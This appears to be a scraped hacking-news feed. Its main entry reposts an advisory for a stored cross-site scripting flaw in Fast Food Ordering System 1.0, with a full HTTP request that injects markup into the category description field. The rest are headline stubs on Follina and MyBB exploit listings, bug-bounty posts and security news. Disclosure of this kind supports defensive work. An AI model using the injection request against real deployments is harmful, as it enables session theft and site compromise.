Exploit Collector
Fast Food Ordering System 1.0 Cross Site Scripting

https://4.bp.blogspot.com/-xhbT4GX8v9w/WWlvF89jtmI/AAAAAAAAILM/fSSkvnm11QwzZu21RJEqwX2S4icQcxCngCLcBGAs/s1600/h136.png
Fast Food Ordering System version 1.0 suffers from a persistent cross site scripting vulnerability.

SHA-256 | f7e3bfe2b6055902c2854c036cbb8c36e7bf630d5e1d2ceaaf2629e5cb4d4c8d

Download
## Title: Fast Food Ordering System 1.0 Stored Cross-Site Scripting
## Author: Ashish Kumar
## Date: 05.31.2022
## Vendor: https://www.sourcecodester.com/users/tips23
## Software:
https://www.sourcecodester.com/php/15366/fast-food-ordering-system-phpoop-free-source-code.html
## Reference:
https://medium.com/@cyberthoth/fast-food-ordering-system-1-0-cross-site-scripting-7927f4b1edd6

#Description：
#The Line 255 of Master.php sends unvalidated data to a web browser, which
can result in the browser executing malicious code.

#echo $Master->save_category();

#PoC：
POST /ffos/classes/Master.php?f=save_category HTTP/1.1
Host: localhost
Content-Length: 480
sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundarySmYVeqOBMhcSziZM
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/ffos/admin/?page=categories
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=junl7tbvb7hvrdeq776aislbcj
Connection: close

------WebKitFormBoundarySmYVeqOBMhcSziZM
Content-Disposition: form-data; name="id"

10
------WebKitFormBoundarySmYVeqOBMhcSziZM
Content-Disposition: form-data; name="name"

XSS
------WebKitFormBoundarySmYVeqOBMhcSziZM
Content-Disposition: form-data; name="description"

Testing XSS ">
------WebKitFormBoundarySmYVeqOBMhcSziZM
Content-Disposition: form-data; name="status"

1
------WebKitFormBoundarySmYVeqOBMhcSziZM--

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Microsoft Follina Proof Of Concept

https://4.bp.blogspot.com/-mkcU-A73eZ4/WWlu7eKaHEI/AAAAAAAAIJY/m_4841aOwNcKGKR9ykgWprFWjwy04TKNACLcBGAs/s1600/h11.png
Proof of concept exploit for the Microsoft Windows Support Diagnostic Tool (MSDT) remote code execution vulnerability dubbed Follina.

SHA-256 | 21dda01f8e88aa4687f62848057799f68aeaf508af81b73f3368b5656c8f92fe

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Microsoft Office MSDT Follina Proof Of Concept

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
MyBB Admin Control Remote Code Execution

___________________________
@hacking_Attack
@Hacking_Video

Best web pentesting certification?
https://www.reddit.com/r/Pentesting/comments/v1yvlb/best_web_pentesting_certification/

My company is paying for one and the work is mostly focused on web pentesting, so what certification do you suggest I should go for? submitted by /u/ifhd_ (https://www.reddit.com/user/ifhd_)
[link] (https://www.reddit.com/r/Pentesting/comments/v1yvlb/best_web_pentesting_certification/) [comments] (https://www.reddit.com/r/Pentesting/comments/v1yvlb/best_web_pentesting_certification/)

___________________________
@hacking_Attack
@Hacking_Video

How Fuzzing helps me to get my first bounty?
https://medium.com/@pmmali/how-fuzzing-helps-me-to-get-my-first-bounty-2c63eb864e08?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Hello Everyone,Continue reading on Medium » (https://medium.com/@pmmali/how-fuzzing-helps-me-to-get-my-first-bounty-2c63eb864e08?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

How Fuzzing helps me to get my first bounty?

Hello Everyone,Continue reading on Medium »
Read more...

Dark Reading: Attacks/Breaches
Fewer DDoS Attacks in 2021, Still Above Pre-Pandemic Levels

New research finds a rise in TCP acknowledgement (ACK) DDoS attacks, which rely on a smaller amount of traffic to disrupt targets.

Dark Reading: Attacks/Breaches
Biometric Data Offers Added Security — But Don't Lose Sight of These Important Risks

With rising fraud, businesses are seeking authentication methods that are security- and user-friendly. But with that comes a few complications.

Dark Reading: Attacks/Breaches
New Microsoft Zero-Day Attack Underway

"Follina" vulnerability in Microsoft Support Diagnostic Tool (MSDT) affects all currently supported Windows versions and can be triggered via specially crafted Office documents.

Dark Reading: Attacks/Breaches
Surefire Cyber Launches to Help Cyber Insurance Ecosystem from Response to Resilience, with $10 Million in Funding by Forgepoint Capital

Industry veterans roll out end-to-end incident response services and innovative tech-enabled platform, following successful incubation.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
3.6M MySQL Servers Found Exposed Online

Researchers from Shadowserver recommend removing the servers from the Internet to shrink external attack surface.

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
WriteUp Resolute

https://cdn-images-1.medium.com/max/921/1*05AR5n5BY9lKJd0HUWQM_g.png
Se realizo una prueba de penetración a una máquina de hack the box, la maquina elegida fue la maquina ‘Resolute’.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How Fuzzing helps me to get my first bounty?

https://cdn-images-1.medium.com/max/666/1*8BK-XJtaFRZ2o_j43OzlzQ.png
Hello Everyone,

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video